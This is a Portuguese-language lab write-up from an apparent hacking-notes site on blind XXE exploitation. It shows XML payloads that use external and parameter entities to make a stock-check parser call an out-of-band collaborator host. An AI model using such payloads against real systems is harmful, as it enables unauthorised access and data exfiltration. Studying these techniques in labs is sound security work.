> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md).

# XXE Cega com Entidades de Parâmetro XML Out-of-Band

### XXE cego com interação fora de banda via entidades de parâmetro XML

O recurso Check stock do laboratório analisa entradas XML. Ele **não mostra** valores inesperados e **bloqueia** entidades externas XML padrão no lado do servidor.

\*\* Objetivo\*\*/ Explorar a vulnerabilidade XXE cegamente forçando o analisador XML a realizar uma consulta externa (DNS / HTTP) para um serviço OOB (por exemplo, Burp Collaborator / Oastify) usando uma \*\*entidade de parâmetro\*\*.

1/) Entidade externa clássica (bloqueada)

Payload enviado — uma entidade de sistema referenciada a partir de uma URL externa, então chamada a partir de `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

**Resultado observado:** o servidor retorna o erro "Entities are not allowed for security reasons" — a declaração de entidades externas convencionais é bloqueada.

<figure><img src="/files/742ed3f0f8fee8e16ee34dbdba1f4318e6c335fb" alt=""><figcaption></figcaption></figure>

2/) Tentativa com entidade de parâmetro (abordagem OOB)

Para contornar o bloqueio, testamos o uso de uma \*\*entidade de parâmetro\*\* — a declaração usa `%` e então injeta seu conteúdo no DTD:

{% code overflow="wrap" %}

```xml
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://s70h9r9g0j38amzu65hqoxvkcbi36vuk.oastify.com"> %myFile;]>
```

{% endcode %}

<figure><img src="/files/dd0fc1aa880c98c67eb861de723d5c2a09500856" alt=""><figcaption></figcaption></figure>


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